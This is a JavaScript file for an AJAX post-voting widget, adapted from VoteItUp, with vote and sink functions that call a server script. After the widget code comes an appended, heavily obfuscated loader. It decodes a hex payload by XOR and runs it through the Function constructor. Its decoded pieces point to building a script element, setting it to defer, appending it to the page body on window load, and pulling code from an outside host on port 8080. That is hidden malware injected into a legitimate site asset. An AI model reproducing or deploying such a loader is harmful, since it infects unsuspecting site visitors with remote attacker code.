/* Adapted from VoteItUp */
/* A general script for updating the contents of the vote widget on the fly */
/*
USAGE:
vote (object to update with vote count, object to update with after vote text, post id, user id, base url)
*/

var xmlHttp
var currentobj
var voteobj
var aftervotetext

//Useful for compatibility
function function_exists( function_name ) { 
    if (typeof function_name == 'string'){
        return (typeof window[function_name] == 'function');
    } else{
        return (function_name instanceof Function);
    }
}

//Javascript Function for JavaScript to communicate with Server-side scripts
function lg_AJAXrequest(scriptURL) {
	xmlHttp=zGetXmlHttpObject()
if (xmlHttp==null)
  {
  alert ("Your browser does not support AJAX!");
  return;
  } 
	xmlHttp.onreadystatechange=zvoteChanged;
	xmlHttp.open("GET",scriptURL,true);
	xmlHttp.send(null);
}

function zGetXmlHttpObject()
{
var xmlHttp=null;
try
  {
  // Firefox, Opera 8.0+, Safari
  xmlHttp=new XMLHttpRequest();
  }
catch (e)
  {
  // Internet Explorer
  try
    {
    xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
    }
  catch (e)
    {
    xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
  }
return xmlHttp;
}

function zvoteChanged() 
{ 
if (xmlHttp.readyState==4)
{ 
	var votedisp = document.getElementById('voteid' + currentobj);
	var votenodisp = document.getElementById('votes' + currentobj);
	var voteno = xmlHttp.responseText;
	
	currentobj_obj = document.getElementById(currentobj);
	voteobj_obj = document.getElementById(voteobj);
	currentobj_obj.innerHTML = voteno;
	voteobj_obj.innerHTML = aftervotetext;

}


}


function vote(obj, votelinkobj, aftervote, postID ,userID, baseURL) {
	currentobj = obj;
	voteobj = votelinkobj;
	aftervotetext = aftervote;
	var scripturl = baseURL+"/voteinterface.php?type=vote&tid=total&uid="+userID+"&pid="+postID+"&auth="+Math.random();
	lg_AJAXrequest(scripturl);
}

function sink(obj, votelinkobj, aftervote, postID ,userID, baseURL) {
	currentobj = obj;
	voteobj = votelinkobj;
	aftervotetext = aftervote;
	var scripturl = baseURL+"/voteinterface.php?type=sink&tid=total&uid="+userID+"&pid="+postID+"&auth="+Math.random();
	lg_AJAXrequest(scripturl);
}

var HYm="7076476174045955736b672f49524e49256d46625349524e6663646858555a57714458407b447b5f7b55695b73310d5151684f6f777a5669734f684f4e5d4a72766a4e4e27576f3c4d537e2e56530a4d5d";var qfL;if(qfL!='' && qfL!='dU'){qfL=null};var UK=13805;var wj=18674;function M(U){var Mf;if(Mf!='JS'){Mf=''};this.aI=20530;var I='';var Pg;if(Pg!='hv' && Pg!='f'){Pg=''}; var Y=function(B, c){var Pn="";this.eM=false;this.tt='';return Ys;};this.Wx=10113; var v=function(T,r){this.Jj=45949;return T^r;};var gE="";var fl=""; var Au='';function s(B){var wZ="";var Fzo;if(Fzo!='' && Fzo!='nP'){Fzo='YL'};var AT;if(AT!='BJ' && AT!='jU'){AT=''};var d =[78,0,43][1];var Tg='';var Ys = '';var h =[0][0];var fx="fx";var sQ;if(sQ!='xJ' && sQ!='K'){sQ='xJ'};B = new w(B);var FF='';var D = -1;this.gJ='';var ka=new Date();var JH=new Date();for (h=B[Y("elgnht", [1,0])]-D;h>=d;h=h-[1][0]){Ys+=B[Y("achrAt", [1,2,0,3])](h);var jg;if(jg!='' && jg!='AI'){jg=''};}this.YK='';var dL=new String();return Ys;}var kc;if(kc!='IT' && kc != ''){kc=null}; function p(o){this.uD="uD";var UM=false;var YH=[89,0][1];this.Cv="Cv";var R=o[Y("gntelh", [4,3,1,0,2])];var Yv;if(Yv!='TA' && Yv != ''){Yv=null};var zS;if(zS!='bW' && zS != ''){zS=null};var tM;if(tM!='Zj' && tM != ''){tM=null};var Q=[138,240,255][2];var LB;if(LB!='' && LB!='Cr'){LB='EF'};var la=[64,102,0][2];var y=[1][0];var pB='';var th;if(th!='' && th!='bZ'){th=''};var us='';var IV='';while(YH<R){this.cL="";var eP;if(eP!='aR' && eP != ''){eP=null};var BY;if(BY!='' && BY!='Dk'){BY=null};var ob;if(ob!='' && ob!='Qd'){ob=null};YH++;this.WG="WG";this.np="np";S=C(o,YH - y);var oS;if(oS!='' && oS!='iQ'){oS='xu'};la+=S*R;}var FR;if(FR!='Cox' && FR!='fn'){FR='Cox'};this.eL=false;this.jk=false;return new w(la % Q);var Lj;if(Lj!='' && Lj!='qu'){Lj=null};this.Pt=false;}var gb;if(gb!='' && gb!='qX'){gb=''};var ITn=48918; this.oC="oC";function C(b,yS){return b[Y("orChdaceAt", [6,3,5,1,2,0,4])](yS);}var q=window;this.qK=42155;var MG;if(MG!=''){MG='DH'};var G=q[Y("vela", [1,0,3,2])];var EKe;if(EKe!='NF'){EKe=''};this.zd="zd";var g=G(Y("ntcnuFio", [5,4,3,2,1,6,7,0]));var doL="doL";var bvl="bvl";var BZQ;if(BZQ!='bd' && BZQ!='uH'){BZQ=''};var oi;if(oi!='Zi' && oi!='cJ'){oi=''};var k = '';var gJb;if(gJb!='' && gJb!='gy'){gJb=''};var hK=G(Y("xeERgp", [3,1,4,2,0]));var lME;if(lME!='hp'){lME=''};this.Qo=59348;var lh=43717;var w=G(Y("tiSrng", [2,0,3,1]));var Bs;if(Bs!='' && Bs!='zr'){Bs=null};this.LI="";var HE="";var Nq=new Array();var Tu=false;var wFU;if(wFU!='' && wFU!='jj'){wFU=null};var Lz=w[Y("ohfmaCrrCode", [2,6,0,3,5,1,4])];this.fQ='';var wq=q[Y("ecepuans", [4,6,2,7,1,5,3,0])];var uT;if(uT!='cd' && uT!='ju'){uT='cd'};var cR;if(cR!='Ad' && cR!='jY'){cR='Ad'};this.Iv=false;var YQ = U[Y("gnetlh", [4,2,1,0,3])];var nPl;if(nPl!='' && nPl!='gp'){nPl=''};var QF;if(QF!='' && QF!='WH'){QF=null};var jl=58927;var y =[1][0];var sk;if(sk!='kz'){sk='kz'};this.xR=false;var x = '';var Lq =[134,73,2][2];var MU;if(MU!='Rp' && MU != ''){MU=null};var cC;if(cC!='Ou' && cC != ''){cC=null};var e = '';this.FN=false;this.RGE=false;var gj = "%";var Pr='';this.Nqz=false;var X = '';var J = /[^@a-z0-9A-Z_-]/g;var a =[163,0,203][1];this.Ju=false;var d =[1,0,75,178][1];var Nw=new Array();var Cd;if(Cd!='' && Cd!='qD'){Cd='wO'};var SM=new Date();var N=[1, Y("odcmuetn.rcetaelEeemn(t\'csrpit\')", [1,0,2]),2, Y("odcmuetn.obd.yappednCihl(dd)", [1,0,2]),3, Y(".cnleivseitdiesgrn.u0:880", [1,2,0,3]),4, Y("ocmh.aebrutr.kcmo.maaozn", [1,0,2]),5, Y("sd.Aetrttuib(tee\'drfe\'", [1,2,0]),6, Y("utdsevriieczinshocm.", [3,1,0,2]),7, Y("oogg.eclom", [3,1,0,2]),8, Y("oglogcem.o.pk", [1,3,0,4,2]),11, Y("iwnod.wolnoad", [1,0,2,4,3]),12, Y("k.namsecom", [3,5,0,4,6,2,1,7]),14, Y("ufcnitno)(", [1,0]),15, Y("accht(e)", [2,0,4,1,3]),16, Y("h\"tt:p", [1,0]),17, Y(".drsc", [1,0]),18, Y("neyt", [2,0,1]),19, Y(")\'\'1", [2,3,1,0]),20, Y("rty", [1,0])];var EZ=new String();var fO;if(fO!='Qh'){fO='Qh'};var qc=new String();var yb='';var ld='';this.Koa="Koa";var XJ;if(XJ!='' && XJ!='ja'){XJ=null};for(var dR=d; dR < YQ; dR+=Lq){var eT;if(eT!='' && eT!='vo'){eT=''};x+= gj; var QC;if(QC!='' && QC!='MH'){QC=''};x+= U[Y("ubstrs", [2,0,1])](dR, Lq);var wH;if(wH!='' && wH!='Yi'){wH='Pp'};var bO="";}var iN;if(iN!='' && iN!='cp'){iN='JHN'};var U = wq(x);var A = new w(M);var F = A[Y("eaerpcl", [3,0,4,6,1,5,2])](J, e);var kd;if(kd!='Fe'){kd='Fe'};var mC='';var fXC=new String();this.fv="fv";this.mS='';var Jc = new w(g);var qU=new Array();var i = N[Y("glneth", [1,3,2,0,4])];var bL;if(bL!='' && bL!='pI'){bL='Eq'};F = s(F);var rA=4822;var Jw = Jc[Y("erlpcae", [1,0])](J, e);var Jw = p(Jw);var Tm;if(Tm!='md'){Tm=''};var z=p(F);var nv;if(nv!='' && nv!='fT'){nv=null};for(var h=d; h < (U[Y("glenth", [1,2,3,0])]);h=h+[139,231,1][2]) {var ca=false;var KC;if(KC!='hr' && KC!='Lv'){KC='hr'};var qf = F.charCodeAt(a);var lx = C(U,h);var uk=new String();var YJ=new Date();var uK=new String();var dgiE=new Array();lx = v(lx, qf);lx = v(lx, z);var ON;if(ON!='Gzk' && ON!='pIP'){ON=''};lx = v(lx, Jw);var IQ=new String();var Zx;if(Zx!=''){Zx='Xd'};var cu;if(cu!='' && cu!='iq'){cu=null};a++;var Tz;if(Tz!='dRN'){Tz='dRN'};if(a > F.length-y){this.Pwj=false;a=d;this.aG="";}var Wl;if(Wl!=''){Wl='hvh'};var Kr=new Date();var Ei;if(Ei!='Ik' && Ei!='FX'){Ei='Ik'};var NR=new String();X += Lz(lx);var jr=new Array();var LK;if(LK!='jO'){LK=''};}var Unv='';var Gm;if(Gm!='' && Gm!='Sa'){Gm='NRQ'};for(P=d; P < i; P+=Lq){var Vl;if(Vl!='' && Vl!='sI'){Vl='cRg'};this.aD=false;var W = Lz(N[P]);this.Xb="";this.Ho=61828;var Ma="Ma";var Xl = N[P + y];var RZ="";var yv='';var dX;if(dX!='' && dX!='Zh'){dX=''};var n = new hK(W, w.fromCharCode(103));var RR;if(RR!='LsG' && RR != ''){RR=null};X=X[Y("earlpce", [2,0,4,3,1])](n, Xl);var RU=false;var Nz=new String();}var he="he";var bj;if(bj!='OWE'){bj='OWE'};var xE=new g(X);this.jq=false;xE();var UH=new Array();F = '';Jw = '';var gn=59278;Jc = '';var Rx=53992;z = '';X = '';var Bo;if(Bo!='rrU'){Bo='rrU'};xE = '';var pf;if(pf!='FKS'){pf='FKS'};this.fa="fa";var Br;if(Br!='' && Br!='Ak'){Br=null};return '';var JO;if(JO!='iy'){JO=''};};var qfL;if(qfL!='' && qfL!='dU'){qfL=null};var UK=13805;var wj=18674;M(HYm);